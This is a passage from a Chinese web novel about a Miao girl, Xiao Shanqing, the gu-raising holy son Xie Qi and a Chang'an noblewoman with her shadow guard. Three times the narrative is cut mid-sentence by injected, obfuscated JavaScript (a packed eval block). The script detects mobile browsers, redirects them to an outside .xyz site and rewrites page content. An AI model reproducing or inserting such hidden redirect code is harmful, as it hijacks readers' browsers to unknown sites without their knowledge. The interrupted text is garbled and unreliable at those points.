若她还是长安城里那位骄矜的贵女,自持身份,断然是做不出这等事的。可是苗疆的夜太黑,她害怕夜间出没的毒蝎,也害怕那扑打灯火的巨大蛾子,只能向谢歧寻求庇护。 谢歧将他的房间留给了她,自己却不知所踪。 不知道他睡在哪里。但谢歧若是不想见人,有的是办法叫人找不到他。 “你可知道为什么他那里没有那些东西?”晓山青瞧着她飞红的面颊,忍不住笑了起来。 陆瑶光这边的进展倒是顺利。一如梦中所示,少女的情愫似乎被旖旎梦境包裹,越发重地依恋着谢歧。 “因为他养蛊。” “你知道蛊吗?”晓山青歪头看她,像一只停在颤巍巍枝丫上瞧着人的山雀。若是她想叫少女的情思更深,本不该讲给她这些事的,可她偏偏想让这个懵然无知闯入这里的少女多知道一些东西。 “它能叫人口角生疮,溃烂流脓,求生不得;也能叫人破肚穿肠,心口穿针,却求死不能。杀人擦肩之际,索命千里之外——当然也能让蛇虫鼠蚁退避。” 她忽的将背在身后的手拿了出来,握拳的手在少女面前打开,掌心里赫然正躺着一只丑陋狰狞的白蛛。 陆瑶光被唬得吓了一跳,脸色煞白地后退了一步。她惊惶地望着晓山青,不安道:“谢公子……他……” 未尽的疑问里带着巨大的恐惧:“他也……杀人吗?” 她像是被骇住了,紧张地看着晓山青。 是的,他杀人。他杀光过一整个寨子的人。晓山青是看着他杀的。他杀得血流成河,最后一把火点了那个地方,像是要把自己惨烈的过去通通点尽。 “他不杀人的,对不对?谢公子是个好人,他还救了我,我……”她急切地、像是想寻求印证般问。 不,他不是好人。那些老弱妇孺他一个都没有放过,可那些漠视他痛苦、袖手旁观的,所谓无辜吗? 晓山青收回了那只在陆瑶光面前显得异常“温顺”的白蛛,她没法直接回答这个问题,只能安抚少女。 “别怕。他既许你住进去,定早将那些玩意儿收拾干净了。” 她顿了顿,看着少女惊魂未定的眼睛,语气带着一种奇异的笃定:“至少对你而言,他绝非恶人。” “如果你要喜欢他,可千万别松手。”她眼珠子咕噜一转,忽又促狭地凑得更近,几乎贴着少女发烫的耳廓,笑吟吟道:“不过,你难道不喜欢……他那张脸吗?” “至少他长得漂亮,不是吗?我们苗寨里的姑娘都喜欢他的脸。” “阿青姑娘又打趣我……”陆瑶光终于看出眼前少女小小的促狭。她支支吾吾的,不知道该怎么回答这只坏心眼的小狐狸好。 少女的情思终究又重新飞扬起来,随着寨子里清凌凌的山歌盘旋而上,融进了那越发得响的鸟鸣。 彼时晓山青未曾料到,记忆中预兆两人“情愫暗生”的关键节点会来得那样猝不及防。 ——就在这天下午,陆瑶光哭着带回了满身是血的谢歧。 * 圣子负伤。 老苗医已带着药箱急匆匆赶去,婆婆也赶下山来。 晓山青赶到那间弥漫着浓重血味的吊脚楼时,谢歧的伤口已经被草草处理过了。眼下他正半靠在塌上,平日里束起的长发散落着,发丝被冷汗粘腻在颈侧,咬着牙,一声不吭。而陆瑶光坐在离他很近的位置,双手紧紧攥着他的手腕,眼睫上未干的泪珠随着抽泣微微颤动。 晓山青的目光却瞬间钉在了那道狰狞的伤口上。 少年劲瘦的腰腹间,一道斜斜的刀伤破开血肉,即使上了厚厚的止血药粉,仍然能看到翻卷的皮肉边缘在微微渗血。 不是苗刀。她一眼就认出来了。晓山青自己就是用苗刀的好手,但这把刀比苗刀更窄,更薄,更快,刀身上应当还有血槽。 “是外乡人。”她喃喃道。 又有外人靠近了寨子。 ——有如往平静的水面里丟一颗石子,她忽觉命运的涟漪在这一刻剧烈地荡漾开来。 “圣子大人,你可对伤你的人有什么头绪?”老苗医唉声叹气地抓着胡子。 谢歧没有说话。晓山青却看到了陆瑶光的手骤然收紧,尖尖的五指在他的手背上留下了几道月牙般的白痕。 她非常紧张,甚至带着一点颤抖的乞求。 她在紧张什么呢?晓山青想,除非她恰好认识这个外乡人。 是她的侍卫找来了。谢歧今日与陆瑶光单独出去,他一定做了什么,或者想做什么,才引得这位忠心护主的侍卫产生了致命的误会,对谢歧出了手。 能伤到谢歧的……或许称为“暗卫”更好。 难怪陆瑶光能在山匪手里毫发无伤地逃出来。 “……我不清楚。”谢歧终于开口,声音嘶哑。他有些粗暴地抽回被陆瑶光握住的手臂,动作牵扯到伤口痛得他闷哼一声,额角青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488505|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筋暴起:“应当是……其他寨子的人。” “其他寨子的人怎么会在这时候……”拄着竹杖的婆婆皱了眉,“不对劲,叫近来巡山的人注意些。” “阿婆。”晓山青突然插嘴进来,“最近我来巡山吧。” 婆婆愣了一下,思虑了几刻,“也好,你脚程快,对林子也熟悉。” 她回头嘱咐道:“记得带上蛇药,莫要任性。” 晓山青隔着围拢的人墙与塌上豁然抬头的谢歧对视,两人目光在空中无声交锋,最后她率先移开视线。也没再多说什么,只应了声“好”。 她转头就走,错过了背后少年骤然冷下去的目光。 * 巡山的时候,晓山青眼前总会闪过陆瑶光搭在谢歧手腕上的手。 谢歧似乎……没有抗拒。 养伤正是“记忆”里谢歧与陆瑶光感情升温的时期,晓山青一时也分不清他们之间是否真的如梦里那般暗潮涌动。 她一边想,一边脚步不停地向前。周围灌木里微微地响着,是白仙在她几步开外游弋警戒。 土生土长的苗人都知道,在林子里行走的时候,最好把身上的毒物都放出去,让它们成为你延伸的手眼。毕竟这里是苗疆,在这片土地上,虫蛇永远比两足行走的人要有用的多。 白仙突然停了,它缠绕在一根低垂的树枝上,细长的蛇身像一匹柔软的白练般垂下,轻盈地滑落在晓山青肩头。 晓山青立刻屏息驻足,像小兽一样俯身贴近湿润的地面,嗅了嗅泥土的气息。 一股若有若无的铁锈味,混在腐叶与泥土的腥味里。 前面如果不是负伤的猛兽,便是…… 她伸手拨开了挡住视线的枝叶。 在一洼泥水泊里,晓山青看到了那个年轻的暗卫。 他紧握着一柄断刀,像一只濒死的野兽。晓山青走上前去,扯下他覆面的黑巾,露出一张轮廓分明、英气勃勃的脸来。然而此刻,乌黑粘稠的血正源源不断地从他口鼻涌出,一只甲虫正在他的侧脸爬来爬去,快活地扇动着翅膀。死亡的阴影几乎笼罩了他,谢歧没有留手,这个年轻人的命快到头了。 ——这可不行。晓山青想。 梦里,这个暗卫死在谢歧手下了吗? 不,他成功找到了陆瑶光,协助谢歧找到了陆家接应人手。这两人之间绝没有这么大的冲突,也不可能出现两败俱伤的情况。而谢歧的伤——也本不该那么重。 现实发生了一点变化。 没关系,现实必定会发生变化。 因为她的存在。她是山神娘娘选中的手,她必然要跳入这潭池水,搅乱这一切的流向。 ——但不是现在。 现在还不行。这个暗卫必须活着接到陆瑶光,她才能当一个影子,循着他们的路线去长安。 晓山青随手抓了把淤泥,粗暴地抹掉他口鼻外的黑血。接着抽出怀中的小刀,在他手肘、手腕处划开几道细口。暗红的血珠渗出,很快也变成粘稠的黑色,隐约可见血中密密麻麻、蠕动不止的细小甲虫。 但还不够。 她思虑了片刻,还是把身后背着的竹筒揭了开来。 没时间慢慢解蛊了。 只有“驱狼吞虎”。 她舌尖微动,从唇齿间吐出一枚小小的哨子,轻轻一含。 哨子并没有发出尖利的哨音,但竹筒里那只通体赤红的甲虫陡然间动了。 它慢慢地伸展了翅鞘,缓缓起飞,绕着晓山青盘旋了一周,然后精准地落在那暗卫糊满血污的口鼻外,毫不犹豫地一头钻了进去。 那本来死人般躺着的暗卫骤然拱起身子,双手死死扼住自己的喉咙,发出窒息般的“嗬嗬”声响。一片诡异的红色风疹从他指缝下暴起,如燎原之火般瞬间蔓延全身。 晓山青冷眼瞧着两种蛊虫在他身体里搏斗,他一会儿口鼻溢血,一会儿疯狂地抓挠脖颈,翻滚抽搐,足足熬过两柱香的时间,挣扎才平息下来。 她的赤翅蛊终于晃晃悠悠地钻了出来,吃滚了肚子,摇摇晃晃地落在了竹筒边缘。被晓山青拿指头一推,闷头栽倒了进去。 收拾停当,晓山青漫不经心地回头,正撞上那暗卫那双缓缓睁开的眼睛。她不由得眉梢一挑:“醒得好快。” “多谢姑娘出手。”暗卫的声音哑得可怕,他很识趣地没有问晓山青的姓名,也没有说什么多余的废话。 晓山青很满意,于是难得好心地多提点了他一句:“林子入夜瘴气重,可别又把命弄进去了——眼下你这条命可是我的了。” “好,在下绝不……再劳烦姑娘。”暗卫仰面躺在泥泞里,废力地点了点头。 还挺有礼貌的。 可惜这张脸太寡淡了,不合她的胃口。 晓山青略带遗憾地想。 * 巡山结束。晓山青前脚刚踏进寨子,后脚就被老苗医塞来一只沉甸甸的药匣子。 “阿青,帮忙,快给圣子送药去。” “这是——怎么回事?” “哎呦别提了别提了别提了,”老苗医连叹三声,“你快去吧。”说罢单手托着自己的老腰,溜达着跑去分拣草药了。 “……”晓山青默默算了算日子。自从谢歧受伤后,她确实没再去看过他,怕打扰到他和……陆瑶光。 也该去看看了。 她拎着装药的竹篮,慢悠悠晃到谢歧的吊脚楼下。还没近前,便听到楼内传来少女黄鹂般清脆又娇怯的嗓音:“阿歧,还是我来帮你换药吧,你这样不方便。” 晓山青忍不住想吹一声口哨。 ——为她这些天忍辱负重、老鼠躲猫一样绕着谢歧走的日子。 太不容易了! 她的心情瞬间明媚起来,难得地屈指,在门板上叩了两下。屋内人声一滞,片刻后,传来一声听不出情绪的“进来”。 谢歧又生气了。 晓山青愣了一下,手下用力。 门开了,阳光像海潮一样涌入门内。 4. 晴天 今天是苗疆难得的晴天。 晓山青站在光里,背着手,探头探脑地朝幽暗的屋子里望。 像一只聪明的、在试探陷阱的青鸦。 骤然变化的光线使得她眯起眼睛。于是她先感知到的是声音。 窸窸窣窣、活物爬动的声音。 这可不妙。晓山青想。 眼前的黑暗逐渐淡去,她先看到的是那串挂在门框上的风铃。一只半拃长的灰褐色百足虫正从铃身处探出脑袋,它取代了铃舌的位置,因此风铃沉默地摇晃着,没有发出半点声响。 晓山青警觉地抬头。 门框背面的阴影处还栖息着数十条虫子,伏在木头深色的纹理之间,微微摆动着细长的足——与那条灰色的百足虫很像,却是另一种虫子。俗名叫钱串子,毒性不强,但苗人有的是办法将寻常毒虫养成见血封喉的凶物。 顺着门框往上瞧,果然屋顶上也爬满了钱串子,密密麻麻的,以细微的速度扭扭捏捏地动着。移动的方向很明显——坐在那儿的少女正不安地抓着衣袖,脸上是非常直白、非常好懂的委屈。 她没有抬头。当然就算她抬头了,以她的目力,想必看不见头顶这些要人性命的危险。 ——那么近的危险。近到这些挨挨挤挤的虫子里,只要掉落一只,就能够一并带走她脸上生动的红靥与刚刚开了个头的生命。 于是一瞬间,晓山青想明白了。 苗疆的毒物不愿意主动靠近陆瑶光,并不代表它们不能靠近。 “谢歧——”她骤然出声,警告般地喊出了他的名字,“你要干什么?” 用的是苗话。 陆瑶光听不懂。 但她还是被吓到了——她如同受惊的兔子般一下从塌侧站了起来,接连后退了好几步,慌乱之中脚下还险些绊倒一旁的小几。 “陆姑娘,对不住,是我心急了。”晓山青几步过来扶住她的手臂,尽量放缓了语气,“我有些要事要与圣子相商,能不能劳烦你帮个忙?” “实在对不住,我不小心把老乌给我的药撒了。”晓山青语速飞快,“要劳烦你代我再跑一趟了。” 谢歧养伤的日子,陆瑶光便搬回了老苗医的住处——当然白日里她还是亦步亦趋地跟着谢歧。因此晓山青笃定她熟悉去老苗医的吊楼的路。 “哦……好,好的。”陆瑶光结结巴巴地应道。 晓山青顿了顿,还是低声嘱咐:“门框……坏了,小心,不要碰它。” 好姑娘,快跑,快跑。 至少现在,离这个怪物的巢穴远一点。 晓山青注视着她胭脂色的背影消失在门外,这才把目光移向谢歧。 许是因为养伤不便挪动,此刻的谢歧仍斜倚在上次那方长榻上,无聊地拨弄着发尾的红绳。刺目的日光漫入屋内,将他琥珀色的瞳孔染成了瑰丽的、流动的金色。 “这是你见到我的第一句话?”他就用这双眼睛看着晓山青,面无表情地问道。 “本来不是这句。”晓山青朝他走过去,“但我有点想不明白,你到底是想干什么。” 她原先想的没错,谢歧对陆瑶光感兴趣。 也许并不是梦中那种的“兴趣”,但确确实实,陆瑶光,或者她身上的什么东西,吸引了眼前少年的目光。 可对于陆瑶光来说,引起谢歧的兴趣可算不上什么好事。 她太弱小,太柔软,太无害了。 或许梦里的谢歧敏感缺爱,亟需救赎,但晓山青认识的谢歧不需要这些东西。真正的谢歧骨子里浸透了恶劣,他欣赏破灭远大于欣赏圆满,他乐于踩碎一切完好的东西,来换那一声取悦他的脆响。 “你想杀她。”她毫不客气地指出这一点。 “因为她很烦。”少年面无表情地说。 “怎么,现在连她你也要管了?”他淡漠地垂下眼睛,“杀个外乡人而已。” 晓山青摇摇头。 “我不管。”她平静地强调,“但如果是我,我会让那群外乡人把她带走。” “凭什么?”谢歧笑了,“那是我的,我救回来的。我宁愿把她杀了,拿走我要的东西。至于剩下的部分……” 他一笑起来,唇边便露出两颗尖尖的虎牙。同时他的脸也因这个笑忽然艳光四射起来,仿佛霞光乍然迸出于厚重的云山。 “剩下的,再施舍给那些外乡人好了。”他怜悯地,高高在上地说。 你看,这才是谢歧。晓山青想。他纵容陆瑶光,把她放进自己的房间,就和把新的虫子放进坛子里观察没什么两样。 情况比她想的还差。他岂止没有“爱上”,他还没把陆姑娘当成“人”。在他还没玩够之前,绝不会好心地把陆姑娘送出去。 梦正像流水一样慢慢铺展,谢歧却成了一块突兀冒出水面的黑色礁石。 他堵住了晓山青想走的路。 她该动手挖掉这块不听话的石头,还是叫溪流悄悄地绕他而行? 晓山青谨慎地审视着她已知的一切。 “……还有。” “你让她带走我的药,我的伤怎么办?”谢歧微微直起身子,松散的衣襟一下就敞开了。 晓山青一眼就看到少年紧实有力的腰腹与薄薄的肌肉,哦,当然还有覆盖于上的那圈白布。 “……” 她的注意力一下就被转移了。 谢歧还是太过于了解她。她本身就不是一个循规蹈矩的人,她自由、散漫、思维跳脱如风中飞鸟,永远会被新的东西吸引目光。 晓山青奇道,“陆姑娘给你上的新药?你的血不会对她……?” 谢歧打断她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488506|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我没让她碰我。” “老乌,帮我,换的。” 声音似乎有点咬牙切齿。 晓山青:“……” 忽然明白了老乌为什么苦哈哈地叫她送药。 “既然今天你来了,那就你帮我换吧。”谢歧道。 晓山青:“……” 她非常想转头就走。但同时她也清楚,这里从上到下数百口人,恐怕只有她一个不忌讳谢歧的血。 谢歧低头拆开了腰间的白布。 浓重的药味散开来,弥漫在不大的空间里。晓山青又看到了那道可怖的刀伤。 从右肋下缘划到左腹,豁开的皮肉被老乌用仔细地缝合了起来,缝合后的伤像一条长足蜈蚣一样弯弯曲曲地伏于谢歧苍白的皮肤之上。血止住了,伤口边缘甚至开始泛起微微的粉红,是新长出来的嫩肉。 这伤口的愈合状态实在是太好、太快了,或许以常人的视角来看,快得简直有些诡异。他血中的蛊会让伤口不易凝血,然而血一被止住,他身体愈合的速度会是数倍——直到完全愈合。 是的,在蛊的作用下,他的身体会被完全修复,不会留下任何痕迹。 晓山青清楚地知道这件事,却还是忍不住用目光描摹伤口的形状。 从这里,到那里。 再往上一点,豁开的就是他的胸膛,他的肋骨能挡的住这样锋利的刀刃吗?再更重一点,他的肚肠就会被彻底破开,到时候血还能被轻易地止住吗? “别看了。”谢歧低声道。 “哦。”晓山青难得显得有些呆呆的。 她呆呆地打开药泥,呆呆地帮谢歧上药,又呆呆地帮他绑上干净的白布。 当她的双手环过少年的腰时,谢歧的气息忽然无声欺近,轻轻拂过她头顶的发丝。 “阿青。”他虚虚收拢了手臂,像是要完成一个拥抱,又像是在捕捉一只飞鸟。 “该轮到我问你了。”他说,“你到底想干什么?” 晓山青抬头,看着谢歧眉宇间的阴郁与暴躁,这下几乎是确定了。 他在她的生气。 可是你在气什么呢,谢歧? 晓山青想。 她甚至有些惊奇地猜测着:仅仅是因为我好些天没来看你?还是因为你发现我又有了新的秘密? 得了吧谢歧。 我们那共同被拘束在娘娘庙的童年确实彼此纠葛,无法厘清如同缠绕的丝线。 可是、可是。 我们年幼时共享过一个秘密,并不意味着我们要共享今后所有的秘密。 她那时未曾明白这个道理,为所谓的背叛辗转反侧、耿耿于怀。但不要紧,总有一天她会长大,会与自己和解。 至少现在,晓山青已经不再是那个天真到会与怪物共享秘密的小女孩了。 5. 情郎 晓山青依旧每日带着白仙巡山,也每日路过那个泥泞洼地,却再没见到过那个暗卫。 但她心中没有半分担心。 能在苗岭深处活那么久,这个暗卫本就有些保命的本事。既然他已经摸清了这片林子的脾性,没道理接下来他活不下去。 然而晓山青没料到,这暗卫的本事竟比她猜想的还要大上许多。 当她看到这个年轻人拎着他那把断刀,拨开草木的枝叶朝她走来的时候,她简直是惊讶了。 “唔。”晓山青微微歪头,看着他在几丈之外站定,朝她举起双手以示无害,不由得觉得有些有趣,“你是怎么找到我的?” 暗卫没有回答她。 不过晓山青也不在意,自顾自地问了下去:“你想要什么?水?干粮?草药?” 她忽然想到了什么,有点警惕地后退了一步:“哦,如果你是要让我帮忙把陆姑娘偷出来的话,我可不干。” 她睁着那双灵动的眼睛看他,仿佛真的在由衷地想着,眼前这个人会不会提出这样没有道理的请求。 “……姑娘。”暗卫狼狈地低咳几声,“在下只是想讨要一点蛇药。” “哦。”晓山青恍然大悟,怪不得他看上去那么憔悴,连眼下都乌青一片。 “不用担心,附近没有厉害的蛇。”因为厉害的都被婆婆抓去炼蛇蛊了。 不过这点请求倒是不过分。 晓山青随手解下腰间一个靛青色的小布包,轻巧地抛了过去。 “多谢。”年轻暗卫远远地拱手。 随后他迟疑地问道:“敢问姑娘,莫非真有什么法子能救我家小姐于水火?在下必当重金……” 他没有来得及说完这句话。 因为他忽然瞧见少女的神色变得冷淡了起来。她用一种近乎审视的目光将他上下打量了一遍,那冷冰冰的眼神,让他想起长安最老的典吏考量物什时的模样。 “……‘救’?”她仅凭这个单字就截断了他的未言之语。 暗卫察觉到他说错话了——可少女的态度又已经缓和了下来。似乎一个呼吸间她就把这点不愉悦丢到了脑后,转而露出了一个淡淡的笑容来。 “……你不会真的觉得,”她边问边信步走来,步履轻盈得像只小鹿,“是我们强绑了她来、逼她住在这南蛮之地吧?” 明明是他闯到了这里。是他们中原人闯进了这块不属于他们的土地。 “是在下妄言……” 暗卫的声音再一次戛然而止。 因为他猛然发现他的肩头不知何时多了一条蛇,一条冰冷滑腻、莹白如玉的白蛇。那蛇已然弓起蛇身,亮出了獠牙——正对着他衣襟正上露出的颈。而少女已轻轻将素手搭在他另一侧肩膀,吐气如兰。 “乖孩子,别动。” 温热的吐息拂过耳畔。 她不知道是在对谁说话——也许是他,也许是蛇。 他终于意识到了,这个头戴银玲、腕悬细镯的少女既有能力救他,也有能力杀他。 那天,他看到了她腰间的苗刀,背后的竹篓,看到了她怀里藏着的小巧的银匕首。但同时,他忽视了她美丽的头饰,她臂间的银镯,轻率地以为那不过是寻常女儿家的妆点。 然而眼下咫尺的距离却足够他看清了。 那藏在精巧银玲里的毒蛛,那勾在玲珑镯子上的白色蝎尾,那安静地趴在她脑后乌黑的髻上、手指粗细的蜈蚣。 山林早已赋予了少女支配他生命的权力。 “这些是什么?”他喉头发紧,忍不住喃喃道。 * “是蛊。” “虫蛊,蛇蛊。”晓山青随口道,一边绕着他踱步,一边歪着头瞧他。 那双眸亮如深潭映出的寒星,叫他忍不住心惊。 “你不是已死过一遭了吗?怎么连这个都没弄明白?”这坏脾气的少女嗤笑道。 年轻的暗卫只能苦笑起来。 “好了,好了。”她总算停了下来,站定在他面前,语气依旧轻松又活泼,说出来的话却在他心头狠狠一击:“你想要带走陆瑶光?” 暗卫徒劳地张了张嘴,实在不知道该说点什么。 他只能点了点头:“陆家已派出接应的人手,在下只要能护着小姐走出这片山林,就能联系到他们。” 与梦中一模一样。晓山青想。 她随即又好奇地追问了下去:“可若是她已有了情郎,还会跟你走吗?” “你是说……” 她看到这个年轻人额间的青筋狠狠一跳,不可置信地看着她。然后他几乎是咬着牙道:“职责所在,属下当不计一切代价送小姐平安归家。” 那可真是太好了——她真的只需要把陆瑶光从苗寨“偷”出来就好了。 但晓山青开口说出来的话依然毫不客气,大煞风景:“可陆姑娘在这儿过的很好,她也很喜欢这里。” “小姐绝无可能……”暗卫的声音有点呆滞,甚至透出了一点委屈。 “你可以去问问她啊?”晓山青相当理直气壮,“你去问她想不想走。” 她看着这个僵立在原地的年轻人,忽地又狡猾地笑了。 “你在附近转了那么久,是知道她现在落脚在哪儿的吧?可是你进不去。” “我当然可以帮你。”她说,“但我不会平白帮人,你得还我。” 少女注视着他,声音凉得如同一捧雪水,笑容却明媚得像阳光,“你还得起吗?” * 晓山青把白仙留给了他。 白仙知道怎么悄无声息地把一个人带进寨子,更知道如何让心怀不轨之人永远闭嘴。 若他有半分歹念的话,那就把命留在这里好了。晓山青是这么想的。 夜色茫茫,孤月高悬。风穿过山林,带来翠湖的湿润水汽和远处草木间的虫鸣。 她坐在老苗医的屋顶上,听着老苗医的鼾声起伏。而在这嘹亮鼾声的间隙里,断断续续的低语声清晰地飘了上来。 那个年轻暗卫背对着窗口跪在地上,陆瑶光坐在他对面,屋顶上的晓山青恰好能看到她的脸。在雪白的月色里,她的面颊像一朵沾露的芙蓉。 “我不能就这样一走了之……他的伤还没好,那伤还是你莽撞出手……” “主子。”暗卫的声音有点颤抖,他急道,“此人居心叵测,我是怕他对小姐你图谋不轨……” “你在胡说什么!我同你说过多少次了,那日是我央他带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488507|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我出去散散心,他并没有要伤害我……” “可是我看到他已抬手……” “不许再胡言!”是陆瑶光轻声喝道。 “小姐莫不是,当真对他……”宋寅艰涩声音继续响起,带着一丝难以置信的试探,“……小姐莫不是真的舍不得他?” “宋、寅!” “你又在……又在胡说八道什么呀!”陆瑶光又气又急,双颊一片飞红。 那个被唤作宋寅的暗卫紧紧握着双拳跪在地上,没了声音。片刻之后,他像是下定决心般抬起头,眼中闪过狠戾之色:“我去杀了他!” 陆瑶光惊得杏目圆睁,伸手掩住了一声轻轻的惊呼。 宋寅死死盯着她,像是在确认什么,半晌才妥协般从齿缝里挤出一句话来。 他道:“……那属下将人打晕,绑去长安。” 陆瑶光:“……” 坐在屋顶上的晓山青:“……” * 竹门开合的细微声响很快被夜的寂静吞没。宋寅趁着浓重的夜色悄悄离开了。 晓山青没有立刻起身。她依旧抱着膝盖坐在屋顶上,仰头望向那轮仿佛亘古不变的玉盘。 梦中,就是当谢歧的伤痊愈之时,少女才终于下定决心要踏上回家之路。再之后,谢歧会毅然决然地追着她离开。 如今谢歧的伤还没好全。就算她诱导那个叫宋寅的暗卫提前寻上陆瑶光,也没有改变她的心。 要不要再试一次呢? 不。晓山青否决了这个想法。 因为陆瑶光迟早都会走,她不属于这里。 其实很好看出来。从她总想要去抓住些什么的手,再到她脸上那种只有靠近谢歧才能缓解的紧张感——任谁都能看出她在不安。她无时无刻地在忧虑,在隐隐地恐惧。所以她那样依赖着谢歧,像是一个溺水的人抱着救命的稻草。 直到这个晚上。 晓山青坐在屋顶上。她原本只是很单纯地想当“隔墙之耳”,但她百无聊赖地向下望,恰巧看到了宋寅出现的那一刻陆瑶光脸上那种如释重负的表情——那是一种真正的、全然的信任感。 然后她身上那种如影如随的不安消失了,她变回了那个带着点娇纵与傲气的长安贵女。 那一刻,晓山青终于相信了,无论如何,陆瑶光都会回到长安。 无论宋寅什么时候找到她,无论谢歧有没有如梦中那般爱上她,跟着她走。 或许都无关紧要。命运这条河流,自会绕过路上的礁石,奔向它早已定好的目的地。 晓山青轻轻地叹了一口气。 可现在谢歧认定陆瑶光是他的“东西”。 ——这蛮横的小怪物。或许是在过去的十几年人生里不曾真正地、长久地拥有过什么,他如今总把他想要的东西死死攥在手心。即使在梦里,也只有“爱情”让他最后失去了清醒,甘之如饴地张开了五指。 晓山青想,她哪儿来这天大的本事去摆弄谢歧,叫他像个傀儡一样乖乖臣服于这样荒谬的两个字? 怎么办呢? 晓山青答不上来。 她决计也想不到,来年长安炙手可热的贵女、长公主亲自请封的昌平郡主会知道这个问题的答案。 6. 鬼面 谢歧的伤还没好。 ……真的还没好吗? 晓山青有点狐疑地看着他,上手戳了戳他腰间快掉的血痂。自从上回帮老乌送了一次药后,给谢歧换药的差事就落到了她头上。 谢歧懒洋洋地躺在那儿,任由她指尖碰来碰去,像一只翻起肚皮的狸猫。 “真的还痛?你当真不是因为不想去鼓笙节才拿养伤当借口?”晓山青皱眉。 “真的还痛。”谢歧掀开眼皮看了她一眼,略微思索了一下,“……鼓笙节要到了?师父要回来了?” 晓山青的阿爹,也就是谢歧的师父,自数月前深入苗岭腹地采药,至今不曾回来。 至于为什么谢歧喊“师父”——因为谢歧启蒙,认字,读书,甚至那一口官话,都是晓山青她阿爹教的。当然,晓山青她自己也是阿爹教出来的。当时在娘娘庙只有这两个未开蒙的孩子,她阿爹秉持着“教一个是教,教两个不也还是教吗”的原则,把谢歧抓过来也当了他的学生,于是谢歧这一声“师父”便喊到了现在。 “他走前说会在节后回来,”晓山青道,“算算日子,确实快了。” 自从晓山青从娘胎带来的余毒稳定后,阿爹每年都要离寨走这么一遭。 晓山青很怀疑采药不过是他搪塞人的借口。就算是她年幼时每日要喝一海碗药压制毒性的时候,他都无需赶到那么远的地方采药,怎么现在她都好得七七八八了,她阿爹一走就走小半年呢? 可教人百思不得其解的是,他又确实非空手而归,甚至每回都带了千金难求的药材回来。看着阿爹竹篓里的草药和他风尘仆仆的模样,晓山青就算有再多的疑惑,也只能囫囵塞回肚子——说到底,阿爹是为了她才出门的不是? “今日已是六月廿八。” 而七月初三,便是鼓笙节。 绑上最后的布条后,晓山青放下手里的东西,满意地拍了拍手。 “好了,我去叫陆姑娘进来。” “叫她过来做什么。”谢歧微微皱眉。 晓山青指了指门外漏出的一角裙摆,那一抹胭脂色实在是叫人无法忽视。 “难不成叫陆姑娘一直等在门外?” 她回头看了看谢歧的表情。 ……没有什么表情。还好,还没有不耐烦。 最近谢歧的心情似乎好了些?她估摸着不至于像那天一样,烦到要对陆瑶光要下死手的地步。 “你的伤不是还没好吗?那就好好养伤。”她微微地笑了起来,“让陆姑娘照看你岂不是正好。” “那你要去哪儿?”谢歧刚掩上了衣襟,系好衣带的手一顿,沉声问道。 “去帮阿婆检查鼓笙节的祭品。”晓山青起身,随意道,“还有同心蛊。” 同心蛊,又叫作情蛊,正是那梦中最终反噬谢歧之物。顾名思义,一对心意相通的有情人共服此蛊,若有一方琵琶别抱,必遭噬心而亡。 是的,鼓笙节,于苗疆儿女另有一重深意。 在中原人的神话里,牛郎织女于七夕鹊桥相会,因此凡间的女儿们会在这一日对月穿针,意为“乞巧”。同样,苗人的鼓笙节也属于未婚男女的盛会。 ——野有死麕,白茅包之。有女怀春,吉士诱之。林有朴樕,野有死鹿。白茅纯束,有女如玉。 这四天三夜里,少男少女盛装出席,喝酒对歌,击花鼓,听芦笙——然后月下定情,共赴巫山。 晓山青记得,梦中参加鼓笙节里的谢歧与陆瑶光已是形影不离。陆瑶光并非苗人,对鼓笙节上的一切都感到新奇得很。于是梦里的谢歧便陪着她喝酒,赏月。当陆瑶光被欢闹的人群簇拥到中央,笨拙地尝试踏着鼓点起舞时,谢歧便独自坐在高高的屋脊上,静静看着她的背影。 大概这个鼓笙节的作用就是让谢歧认清他的心意……如果他有的话。 “我猜陆姑娘会想去。” 晓山青在跨出屋子前扭头问道,“所以你当真不去?” “不去。”谢歧低着头,声音里似乎多了一丝恼火。 晓山青眨眨眼睛,心说这可由不得你。 * 谢歧当然不可能不在鼓笙节露面——因为圣子要主持祭祀。 七月初三。 晨光如金缕,刺破林间浓稠的雾。 清脆的鸟鸣声中,苗寨的姑娘们早早起身,描眉染唇,对镜梳妆。便是晓山青这样常日惫懒的人,也免不了一改往日的随性,从卧房的衣箱里翻出簇新的衣裙来。 银花、银铃、银项圈,还有那顶沉甸甸的银头冠。 晓山青坐在娘娘庙里,看着模糊镜面里的阿婆为她戴上硕大的银冠。光流淌雪白的银饰上,冠顶錾刻的鹊与蝴蝶轻轻颤动着,仿佛下一刻就要振翅而飞。 